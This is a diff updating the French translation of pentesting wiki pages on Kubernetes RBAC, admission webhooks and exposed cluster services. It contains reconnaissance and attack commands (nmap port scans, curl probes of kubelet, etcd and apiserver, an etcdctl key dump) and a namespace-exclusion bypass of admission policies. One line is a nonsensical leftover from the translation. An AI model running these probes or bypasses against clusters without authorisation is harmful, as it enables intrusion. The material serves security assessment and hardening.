rules: resources: ["secrets"] verbs: ["get", "watch", "list"] ``` -Par exemple, vous pouvez utiliser un **ClusterRole** pour permettre à un utilisateur particulier d’exécuter : +Par exemple, vous pouvez utiliser un **ClusterRole** pour autoriser un utilisateur particulier à exécuter : ``` kubectl get pods --all-namespaces ``` ### **RoleBinding et ClusterRoleBinding** -[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Un **role binding accorde les permissions définies dans un role à un user ou à un ensemble de users**. Il contient une liste de subjects (users, groups, ou service accounts), et une référence au role accordé. Un **RoleBinding** accorde des permissions dans un **namespace** spécifique tandis qu’un **ClusterRoleBinding** accorde cet accès **à l’échelle du cluster**. +[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Un **role binding octroie les permissions définies dans un role à un user ou à un ensemble de users**. Il contient une liste de subjects (users, groups, ou service accounts), et une référence au role accordé. Un **RoleBinding** octroie des permissions dans un **namespace** spécifique, tandis qu'un **ClusterRoleBinding** octroie cet accès **à l'échelle du cluster**. ```yaml:RoleBinding apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. @@ -122,11 +130,11 @@ kind: ClusterRole name: secret-reader apiGroup: rbac.authorization.k8s.io ``` -**Les permissions sont additives** donc si vous avez un clusterRole avec “list” et “delete” secrets vous pouvez l’ajouter avec un Role avec “get”. Soyez donc attentif et testez toujours vos roles et permissions et **précisez ce qui est AUTORISÉ, car tout est REFUSÉ par défaut.** +**Les permissions sont additives** donc si vous avez un clusterRole avec “list” et “delete” secrets, vous pouvez l’ajouter avec un Role avec “get”. Soyez donc vigilant et testez toujours vos roles et permissions et **spécifiez ce qui est AUTORISÉ, car tout est REFUSÉ par défaut.** ### Détails à vérifier -RBAC utilise les noms de ressources tels qu’ils apparaissent dans les URLs de l’API, pas le YAML `kind`. Un Pod est `pods`, un Deployment est `deployments`, et les subresources sont écrites avec une barre oblique comme `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` ou `services/proxy`. Une permission sur `pods` n’accorde pas automatiquement l’accès à `pods/exec` ou `pods/log`. +RBAC utilise les noms de resources tels qu’ils apparaissent dans les URL API, pas le YAML `kind`. Un Pod est `pods`, un Deployment est `deployments`, et les subresources sont écrites avec une barre oblique telle que `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` ou `services/proxy`. Une permission sur `pods` n’accorde pas automatiquement l’accès à `pods/exec` ou `pods/log`. `resourceNames` peut restreindre certaines requêtes à des noms d’objet spécifiques : ```yaml @@ -136,17 +144,18 @@ resources: ["configmaps"] resourceNames: ["app-config"] verbs: ["get", "update"] ``` -Cela ne restreint pas `create` ni `deletecollection` au niveau supérieur par nom. Pour `list` et `watch`, le client doit inclure un sélecteur de champ `metadata.name` correspondant, sinon la requête n’est pas autorisée par cette règle : +Cela ne restreint pas `create` ou `deletecollection` au niveau supérieur par nom. Pour `list` et `watch`, le client doit inclure un sélecteur de champ `metadata.name` correspondant, sinon la requête n’est pas autorisée par cette règle : ```bash kubectl get configmaps -n default --field-selector=metadata.name=app-config ``` -Utilisez des exact access reviews pour les contrôles à fort impact : +Utilisez des access reviews exactes pour les contrôles à fort impact: ```bash kubectl auth can-i create pods/exec -n default kubectl auth can-i create serviceaccounts/token -n default kubectl auth can-i impersonate users kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io +kubectl auth can-i impersonate-on:user-info:list pods -n default ``` ## **Énumérer RBAC** ```bash @@ -170,7 +179,7 @@ kubectl describe roles kubectl get rolebindings kubectl describe rolebindings ``` -### Abuser des Role/ClusterRoles pour l'escalade de privilèges +### Abus des Role/ClusterRoles pour l’escalade de privilèges {{#ref}} abusing-roles-clusterroles-in-kubernetes/ diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 74a989474..b562dcfb6 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -4,24 +4,24 @@ **L'auteur original de cette page est** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) -## Définition +## Definition -`ValidatingWebhookConfiguration` est une ressource Kubernetes qui enregistre un ou plusieurs validating admission webhooks. Ces webhooks reçoivent des requêtes AdmissionReview du API server après l'authentification et l'autorisation, mais avant que l'objet ne soit persisté. +`ValidatingWebhookConfiguration` est une ressource Kubernetes qui enregistre un ou plusieurs validating admission webhooks. Ces webhooks reçoivent des requêtes AdmissionReview du API server après l'authentification et l'autorisation, mais avant que l'objet soit persisté. -Les validating webhooks peuvent rejeter une requête. Les mutating webhooks, configurés avec `MutatingWebhookConfiguration`, peuvent d'abord modifier l'objet. Les revues de sécurité devraient généralement examiner les deux ressources, car un mutating webhook malveillant ou faible peut réécrire des workloads, tandis qu'un validating webhook ou un policy engine peut les bloquer ou les autoriser. +Les validating webhooks peuvent rejeter une requête. Les mutating webhooks, configurés avec `MutatingWebhookConfiguration`, peuvent d'abord modifier l'objet. Les security reviews devraient généralement inspecter les deux ressources, car un mutating webhook malveillant ou faible peut réécrire des workloads, tandis qu'un validating webhook ou un policy engine peut les bloquer ou les autoriser. -## Objectif +## Purpose -Le but d'un `ValidatingWebhookConfiguration` est de définir quand le API server doit appeler un validating webhook et comment il doit gérer le résultat du webhook. La question de sécurité importante n'est pas seulement "une policy est-elle installée ?", mais aussi : +Le but d'un `ValidatingWebhookConfiguration` est de définir quand le API server doit appeler un validating webhook et comment il doit traiter le résultat du webhook. La question de sécurité importante n'est pas seulement "une policy est-elle installée ?", mais aussi : - Quels API groups, resources, operations et scopes correspond-il ? -- Quels namespaces ou objets sont exclus par les selectors ? -- Est-ce que `matchConditions` ignore certaines classes de requêtes ? -- Est-ce que `failurePolicy` échoue en mode ouvert avec `Ignore` ou en mode fermé avec `Fail` ? -- Le service du webhook est-il joignable, approuvé par le `caBundle` configuré, et exécuté par un service account hautement privilégié ? -- Le policy engine expose-t-il aussi des exception resources, des users exclus, ou des groups exclus ? +- Quels namespaces ou objets sont exclus par des selectors ? +- `matchConditions` ignore-t-il certaines classes de requêtes ? +- `failurePolicy` échoue-t-il ouvertement avec `Ignore` ou de manière fermée avec `Fail` ? +- Le service du webhook est-il accessible, approuvé par le `caBundle` configuré, et exécuté par un service account hautement privilégié ? +- Le policy engine expose-t-il aussi des exception resources, des users exclus ou des groups exclus ? -**Exemple** +**Example** Voici un exemple de ValidatingWebhookConfiguration : ```yaml @@ -57,8 +57,8 @@ La principale différence entre un ValidatingWebhookConfiguration et des policie

Kyverno.png

-- **ValidatingWebhookConfiguration (VWC)** : Une ressource Kubernetes qui définit un validating webhook, qui est un composant côté serveur qui valide les requêtes Kubernetes API entrantes selon un ensemble de règles et de contraintes prédéfinies. -- **Kyverno ClusterPolicy** : Une définition de policy qui spécifie un ensemble de règles et de contraintes pour valider et appliquer des règles sur les ressources Kubernetes, telles que les pods, deployments et services +- **ValidatingWebhookConfiguration (VWC)** : Une ressource Kubernetes qui définit un validating webhook, qui est un composant côté serveur qui valide les requêtes Kubernetes API entrantes par rapport à un ensemble de règles et de contraintes prédéfinies. +- **Kyverno ClusterPolicy** : Une définition de policy qui spécifie un ensemble de règles et de contraintes pour valider et appliquer des règles aux ressources Kubernetes, telles que les pods, deployments, et services ## Enumeration ``` @@ -69,14 +69,35 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook ``` Fields to inspect: -- `rules`: Vérifiez les API groups, versions, resources, subresources, operations et scope couverts. -- `namespaceSelector` / `objectSelector`: Recherchez des namespaces ou labels qui excluent des resources de la policy. -- `matchConditions`: Les expressions CEL peuvent volontairement ou accidentellement ignorer des requests. +- `rules`: Vérifiez les groupes API couverts, les versions, les resources, les subresources, les operations et le scope. +- `namespaceSelector` / `objectSelector`: Recherchez des namespaces ou des labels qui excluent des resources de la policy. +- `matchConditions`: Les expressions CEL peuvent intentionnellement ou accidentellement ignorer des requests. - `failurePolicy`: `Ignore` laisse les requests continuer si le webhook échoue ; `Fail` les bloque. -- `sideEffects`: Les webhooks avec side effects peuvent ne pas supporter les tests dry-run. -- `timeoutSeconds`: Des timeouts très courts combinés à `Ignore` peuvent devenir un comportement fail-open. +- `sideEffects`: Les webhooks avec des side effects peuvent ne pas prendre en charge les tests dry-run. +- `timeoutSeconds`: Des timeouts très courts combinés avec `Ignore` peuvent devenir un comportement fail-open. - `clientConfig`: Vérifiez si le webhook pointe vers un Service in-cluster ou une URL externe, et inspectez le workload et le service account sous-jacents. -- `reinvocationPolicy`: Les mutating webhooks peuvent être ré-invoqués lorsque des mutations ultérieures modifient l'objet. +- `reinvocationPolicy`: Les mutating webhooks peuvent être réinvoqués lorsque une mutation ultérieure modifie l'objet. + +### Native CEL admission policies + +Les clusters modernes peuvent aussi appliquer la logique d'admission avec des objets de policy natifs dans `admissionregistration.k8s.io`, et pas seulement avec des configurations de webhook. `ValidatingAdmissionPolicy` est une alternative in-process basée sur CEL aux validating webhooks et n'est active que lorsqu'un `ValidatingAdmissionPolicyBinding` la sélectionne. `MutatingAdmissionPolicy` est stable dans Kubernetes v1.36 et est activée par `MutatingAdmissionPolicyBinding` pour des mutations générées par CEL. + +Énumérez-les avec : +```bash +kubectl api-resources --api-group=admissionregistration.k8s.io -o wide +kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings +kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true +kubectl get validatingadmissionpolicy -o yaml +kubectl get validatingadmissionpolicybinding -o yaml +``` +Security checks: + +- Une policy sans binding n’impose rien. +- `validationActions` sur le binding décide si les échecs de validation sont denied, warned, audited, ou seulement enregistrés. +- `failurePolicy: Ignore` laisse les erreurs d’évaluation CEL ou les erreurs de configuration faire fail open. +- `matchConstraints`, `matchConditions`, `namespaceSelector`, et `objectSelector` peuvent exclure des requêtes sensibles. +- `paramKind` et `paramRef` peuvent faire en sorte que des ConfigMaps ou des objets de paramètres adossés à des CRD fassent partie du périmètre de la policy ; vérifie qui peut modifier ces objets de paramètres. +- Les écritures sur les policies, bindings, et ressources de paramètres doivent être traitées comme des changements privilegiés d’admission-control. ### Abusing Kyverno and Gatekeeper VWC @@ -96,7 +117,7 @@ Both come from with default values but the Administrator teams might updated tho ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -Je suis désolé, mais je ne peux pas aider à identifier ou à reproduire du contenu destiné à des techniques de hacking. +Veuillez fournir la sortie à identifier. ```yaml namespaceSelector: matchExpressions: @@ -109,22 +130,22 @@ values: - kube-system - MYAPP ``` -Here, `kubernetes.io/metadata.name` fait référence au label du nom du namespace. Les namespaces dont les noms figurent dans la liste `values` seront exclus de la policy : +Ici, `kubernetes.io/metadata.name` fait référence au label du nom du namespace. Les namespaces dont les noms sont dans la liste `values` seront exclus de la policy : -Vérifiez l'existence des namespaces. Parfois, en raison de l'automatisation ou d'une mauvaise configuration, certains namespaces peuvent ne pas avoir été créés. Si vous avez la permission de créer un namespace, vous pouvez créer un namespace avec un nom présent dans la liste `values` et les policies ne s'appliqueront pas à votre nouveau namespace. +Vérifiez l’existence des namespaces. Parfois, à cause de l’automatisation ou d’une mauvaise configuration, certains namespaces peuvent ne pas avoir été créés. Si vous avez la permission de créer un namespace, vous pourriez créer un namespace avec un nom présent dans la liste `values` et les policies ne s’appliqueront pas à votre nouveau namespace. -Le but de cette attaque est d'exploiter une **misconfiguration** dans VWC afin de contourner les restrictions des operators, puis d'élever vos privilèges avec d'autres techniques +Le but de cette attaque est d’exploiter une **misconfiguration** dans VWC afin de contourner les restrictions des operators, puis d’élever vos privilèges avec d’autres techniques -Autres patterns courants de bypass ou d'abus : +Autres patterns courants de bypass ou d’abuse : -- Un `objectSelector` qui permet aux utilisateurs d'ajouter un label d'opt-out à leurs propres objets. -- `failurePolicy: Ignore` sur une validation critique pour la sécurité, surtout lorsque le service webhook n'a aucun endpoint ou que le réseau est peu fiable. -- Des exceptions du policy engine pour des users, groups, service accounts, namespaces ou roles plus larges que prévu. -- Une couverture manquante pour les templates des workload controller, `pods/ephemeralcontainers`, `pods/exec`, les custom resources ou les opérations de mise à jour. -- Un accès en écriture à `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, aux contraintes Gatekeeper, aux policies Kyverno ou aux ressources d'exception. -- Un mutating webhook malveillant qui injecte des containers, modifie des images, monte des secrets, ajoute des tolerations ou change la sélection du service account avant la validation. +- Un `objectSelector` qui permet aux utilisateurs d’ajouter un label d’opt-out à leurs propres objets. +- `failurePolicy: Ignore` sur une validation critique pour la sécurité, en particulier lorsque le Service du webhook n’a pas d’endpoints ou que le réseau est peu fiable. +- Des exceptions du policy engine pour des users, groups, service accounts, namespaces ou rôles plus larges que prévu. +- Une couverture manquante pour les templates de workload controller, `pods/ephemeralcontainers`, `pods/exec`, les custom resources, ou les opérations de mise à jour. +- Un accès en écriture à `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, aux contraintes Gatekeeper, aux policies Kyverno, ou aux ressources d’exception. +- Un mutating webhook malveillant qui injecte des containers, modifie les images, monte des secrets, ajoute des tolerations, ou change la sélection du service account avant la validation. -N'oubliez pas que l'admission ne protège que les requêtes qui passent par la chaîne d'admission du API server. Les Static Pods, l'accès au socket runtime local au node, l'abus direct de kubelet et l'accès direct à etcd sont des chemins de confiance différents et nécessitent un durcissement et une surveillance séparés. +Rappelez-vous que l’admission ne protège que les requêtes qui passent par la chaîne d’admission du API server. Les Static Pods, l’accès local au runtime socket du node, l’abuse direct de kubelet, et l’accès direct à etcd sont des chemins de confiance différents et nécessitent un hardening et une surveillance séparés. {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -137,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/ - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) - [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/) - [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) +- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/) +- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index b91499a7a..02b5eb720 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -2,21 +2,21 @@ {{#include ../../../banners/hacktricks-training.md}} -Kubernetes utilise plusieurs **services réseau spécifiques** que vous pourriez trouver **exposés à Internet** ou sur un **réseau interne une fois que vous avez compromis un pod**. +Kubernetes utilise plusieurs **services réseau spécifiques** que vous pourriez trouver **exposés à Internet** ou dans un **réseau interne une fois que vous avez compromis un pod**. ## Finding exposed pods with OSINT -Une méthode consiste à rechercher `Identity LIKE "k8s.%.com"` dans [crt.sh](https://crt.sh) pour trouver des sous-domaines liés à kubernetes. Une autre méthode peut être de rechercher `"k8s.%.com"` dans github et de chercher des **fichiers YAML** contenant la chaîne. +Une façon pourrait être de rechercher `Identity LIKE "k8s.%.com"` dans [crt.sh](https://crt.sh) pour trouver des sous-domaines liés à kubernetes. Une autre façon pourrait être de rechercher `"k8s.%.com"` dans github et de chercher des **fichiers YAML** contenant cette chaîne. -Signaux externes utiles de reconnaissance à corréler avant le scan : +Useful external recon signals to correlate before scanning: -- Noms DNS et de certificate transparency contenant `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, ou des noms de région. -- Noms de cloud load balancer, CNAMEs, tags et hostnames de provider qui peuvent relier une application exposée ou l’UI d’une plateforme à un cluster. -- Dépôts publics, logs CI, valeurs Helm, état Terraform, manifests rendus, images de conteneur et documentation divulguant des kubeconfigs, des URL d’API server, des namespaces, des service accounts, `type: LoadBalancer`, `type: NodePort`, des hôtes Ingress, des listeners Gateway ou des paramètres de dashboard. -- Inventaire Kubernetes managé, lorsque des identifiants cloud sont dans le périmètre : accès public/privé au endpoint EKS et CIDRs publics, paramètres de control-plane public/privé de GKE et réseaux autorisés, ainsi que les paramètres de cluster privé AKS/API server authorized IP. -- Outils de plateforme exposés autour du cluster tels que Argo CD, Prometheus, Grafana, Harbor, registries, dashboards CI/CD, service mesh dashboards, et des endpoints d’administration ou de métriques de ingress-controller. +- Les noms DNS et de certificate transparency contenant `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, ou des noms de région. +- Les noms de load balancer cloud, CNAME, tags et hostnames de provider qui peuvent relier une application exposée ou une interface de plateforme à un cluster. +- Les dépôts publics, logs CI, valeurs Helm, état Terraform, manifests rendus, images de conteneurs et documentation qui fuitent des kubeconfigs, des URLs d'API server, des namespaces, des service accounts, `type: LoadBalancer`, `type: NodePort`, des hosts Ingress, des listeners Gateway ou des paramètres dashboard. +- L'inventaire Kubernetes managé, lorsque des identifiants cloud sont dans le scope : accès public/privé à l'endpoint EKS et CIDRs publics, paramètres de control-plane public/privé GKE et authorized networks, ainsi que les paramètres d'IP autorisées pour les clusters privés/API server AKS. +- Les outils de plateforme exposés autour du cluster tels que Argo CD, Prometheus, Grafana, Harbor, registries, dashboards CI/CD, dashboards de service mesh, et les endpoints d'administration ou de métriques de ingress-controller. -Considérez-les comme des indices d’attribution et de priorisation. Une application Ingress publique est normale dans de nombreux clusters, tandis que kubelet, etcd, dashboard, contrôle de déploiement CI/CD exposés, ou un kubeconfig divulgué doivent être priorisés beaucoup plus haut. +Considérez ces éléments comme des indices d'attribution et de priorisation. Une application Ingress publique est normale dans de nombreux clusters, tandis que kubelet, etcd, dashboard, le contrôle de déploiement CI/CD, ou du kubeconfig fuités doivent être priorisés beaucoup plus haut. ## How Kubernetes Exposes Services @@ -32,20 +32,20 @@ Les ports suivants peuvent être ouverts dans un cluster Kubernetes : | Port | Process | Description | | --------------- | -------------- | ---------------------------------------------------------------------- | -| 443/TCP | kube-apiserver | Kubernetes API port | +| 443/TCP | kube-apiserver | Port API Kubernetes | | 2379/TCP | etcd | | | 6666/TCP | etcd | etcd | -| 4194/TCP | cAdvisor | Container metrics | -| 6443/TCP | kube-apiserver | Kubernetes API port | -| 8443/TCP | kube-apiserver | Minikube API port | -| 8080/TCP | kube-apiserver | Insecure API port | -| 10250/TCP | kubelet | HTTPS API which allows full mode access | -| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state | -| 10256/TCP | kube-proxy | Kube Proxy health check server | -| 9099/TCP | calico-felix | Health check server for Calico | -| 6782-4/TCP | weave | Metrics and endpoints | -| 30000-32767/TCP | NodePort | Proxy to the services | -| 44134/TCP | Tiller | Helm service listening | +| 4194/TCP | cAdvisor | Métriques des conteneurs | +| 6443/TCP | kube-apiserver | Port API Kubernetes | +| 8443/TCP | kube-apiserver | Port API Minikube | +| 8080/TCP | kube-apiserver | Port API insecure | +| 10250/TCP | kubelet | API HTTPS qui permet un accès complet | +| 10255/TCP | kubelet | Port HTTP read-only non authentifié : pods, pods en cours d'exécution et état du nœud | +| 10256/TCP | kube-proxy | Serveur de health check de Kube Proxy | +| 9099/TCP | calico-felix | Serveur de health check pour Calico | +| 6782-4/TCP | weave | Métriques et endpoints | +| 30000-32767/TCP | NodePort | Proxy vers les services | +| 44134/TCP | Tiller | Service Helm à l'écoute | ### Nmap ```bash @@ -53,9 +53,9 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 ``` ### Kube-apiserver -C’est le **service API Kubernetes** avec lequel les administrateurs interagissent généralement en utilisant l’outil **`kubectl`**. +Ceci est le **service API Kubernetes** avec lequel les administrateurs interagissent généralement en utilisant l’outil **`kubectl`**. -**Ports courants : 6443 et 443**, mais aussi 8443 dans minikube et 8080 comme insecure. +**Ports courants : 6443 et 443**, mais aussi 8443 dans minikube et 8080 en mode insecure. ```bash curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz @@ -69,9 +69,9 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -Ce service **s’exécute sur chaque node du cluster**. C’est le service qui va **contrôler** les pods à l’intérieur du **node**. Il communique avec le **kube-apiserver**. +Ce service **s'exécute sur chaque node du cluster**. C'est le service qui va **contrôler** les pods à l'intérieur du **node**. Il communique avec le **kube-apiserver**. -Si vous trouvez ce service exposé, vous avez peut-être trouvé une **unauthenticated RCE**. +Si vous trouvez ce service exposé, vous avez peut-être trouvé une **RCE non authentifiée**. #### Kubelet API ```bash @@ -80,7 +80,7 @@ curl -k https://:10250/pods ``` Si la réponse est `Unauthorized`, alors une authentification est requise. -Si vous pouvez lister les nodes, vous pouvez obtenir une liste des endpoints de kubelets avec : +Si vous pouvez lister les nodes, vous pouvez obtenir une liste des endpoints kubelets avec : ```bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') @@ -94,7 +94,7 @@ done curl -k https://:10255 http://:10255/pods ``` -### API etcd +### etcd API ```bash curl -k https://:2379 curl -k https://:2379/version @@ -114,15 +114,15 @@ curl -k https://:4194 ``` ### NodePort -Lorsqu’un port est exposé sur tous les nodes via un **NodePort**, le même port est ouvert sur tous les nodes en proxyfiant le trafic vers le **Service** déclaré. Par défaut, ce port sera dans la **plage 30000-32767**. Ainsi, de nouveaux services non vérifiés pourraient être accessibles via ces ports. +Lorsqu’un port est exposé sur tous les nœuds via un **NodePort**, le même port est ouvert sur tous les nœuds, en proxifiant le trafic vers le **Service** déclaré. Par défaut, ce port se trouve dans la **plage 30000-32767**. Ainsi, de nouveaux services non vérifiés peuvent être accessibles via ces ports. ```bash sudo nmap -sS -p 30000-32767 ``` -### Surfaces de service mesh et proxy +### Service mesh et surfaces proxy -Les clusters utilisant **Istio, Linkerd, Cilium service mesh, ou des gateways basées sur Envoy** ajoutent une autre couche de service à énumérer. Un mesh peut fournir mTLS, l’identité de workload, le routage L7, des policies d’autorisation, la télémétrie, et des contrôles gateway/egress, mais il ne protège que le trafic qui est réellement enrôlé et intercepté par le mesh. +Les clusters utilisant **Istio, Linkerd, Cilium service mesh, ou des gateways basés sur Envoy** ajoutent une autre couche de service à énumérer. Un mesh peut fournir mTLS, l’identité de workload, le routage L7, des politiques d’autorisation, la télémétrie, et des contrôles gateway/egress, mais il ne protège que le trafic qui est réellement enrôlé et intercepté par le mesh. -Vérifications utiles depuis l’accès Kubernetes: +Vérifications utiles à partir de l’accès Kubernetes : ```bash kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium' kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io' @@ -130,46 +130,56 @@ kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name' kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble' ``` -Review: +Examinez : -- Namespaces or workloads that opted out of injection, still run without a proxy, or were created before injection was enabled. -- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources. -- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources. -- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces. -- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points. -- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly. +- Les Namespaces ou workloads qui ont opté pour la désactivation de l’injection, qui s’exécutent toujours sans proxy, ou qui ont été créés avant que l’injection soit activée. +- Le mode mTLS. Les modes de migration permissive peuvent encore accepter du plaintext depuis des sources non meshed. +- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, et ressources egress. +- Les ressources de politique Linkerd, identity, Server/authorization objects, et les surfaces exposées `linkerd-viz`, tap, ou metrics. +- Cilium service mesh et les ressources Gateway API, la visibilité Hubble, les policies Cilium, et les points d’intégration Envoy. +- Envoy admin, config dump, stats, metrics, tracing, dashboard, et endpoints de debug. Ceux-ci peuvent divulguer routes, upstreams, certificates, identity, et l’état du trafic s’ils sont exposés de manière trop large. -Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route. +Ne considérez pas le service mesh comme un remplacement de Kubernetes RBAC ou des NetworkPolicies. Une policy de mesh peut bloquer une requête HTTP alors qu’un Pod non meshed, un port ignoré, un chemin direct via l’IP du Pod, un gateway, un proxy egress, ou une NetworkPolicy manquante laisse encore une voie pratique. ## Vulnerable Misconfigurations ### Kube-apiserver Anonymous Access -L’accès anonyme aux endpoints API de **kube-apiserver** n’est pas autorisé. Mais vous pouvez vérifier certains endpoints : +L’accès anonyme aux **kube-apiserver resource APIs ne doit pas être autorisé**. Les endpoints de santé tels que `/livez`, `/readyz`, et `/healthz` peuvent être volontairement accessibles, en particulier lorsque l’API server utilise `AuthenticationConfiguration` pour limiter les requêtes anonymes à des chemins spécifiques. Considérez les réponses de santé ou de version comme une preuve d’accessibilité ; le problème critique est une réponse `200` pour de vraies resource APIs telles que namespaces, Secrets, Pods, objets RBAC, metrics, logs, ou sous-ressources proxy sans identifiants valides. ![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) +Vérifications utiles : +```bash +APISERVER='https://:6443' +curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez" +curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz" +curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces" +curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles" +``` +Si les resource APIs renvoient `403`, l'API server a peut-être classé la requête comme `system:anonymous`, mais l'autorization l'a bloquée. Si les resource APIs renvoient `200` sans credentials, cherchez des RoleBindings ou ClusterRoleBindings vers `system:anonymous` ou `system:unauthenticated`, une configuration permissive de authorizer-chain, ou une erreur d'authentification front-door. + ### **Checking for ETCD Anonymous Access** -ETCD stocke les secrets du cluster, les fichiers de configuration et d’autres données **sensibles**. Par **défaut**, ETCD **ne peut pas** être accessible **anonymement**, mais il est toujours bon de vérifier. +Le ETCD stocke les secrets du cluster, les fichiers de configuration et d'autres données **sensibles**. **Par défaut**, le ETCD **ne peut pas** être **accessed** **anonymously**, mais il est toujours bon de vérifier. -Si ETCD peut être accessible anonymement, vous devrez peut-être **utiliser l’outil** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md). La commande suivante récupérera toutes les clés stockées : +Si le ETCD peut être accessed anonymously, vous devrez peut-être **utiliser** l'outil [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md). La commande suivante récupérera toutes les clés stockées : ```bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` ### **Kubelet RCE** -La [**documentation Kubelet**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explique que, par **défaut, l'accès anonyme** au service est **autorisé :** +La [**documentation Kubelet**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explique que, **par défaut, l’accès anonyme** au service est **autorisé :** > Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated` -Pour mieux comprendre comment **l'authentification et l'autorisation de l'API Kubelet fonctionnent**, consultez cette page : +Pour mieux comprendre comment **l’authentication et l’autorisation de l’API Kubelet fonctionnent**, consultez cette page : {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -L'**API** du service **Kubelet n'est pas documentée**, mais le code source peut être trouvé ici et trouver les endpoints exposés est aussi simple que **d'exécuter** : +Le service **Kubelet** **API n’est pas documenté**, mais le code source peut être trouvé ici et découvrir les endpoints exposés est aussi simple que **d’exécuter** : ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -181,30 +191,30 @@ Path("/portForward") Path("/containerLogs") Path("/runningpods/"). ``` -Ils ont tous l’air intéressants. +Ils semblent tous intéressants. Vous pouvez utiliser l’outil [**Kubeletctl**](https://github.com/cyberark/kubeletctl) pour interagir avec les Kubelets et leurs endpoints. #### /pods -Cet endpoint liste les pods et leurs conteneurs : 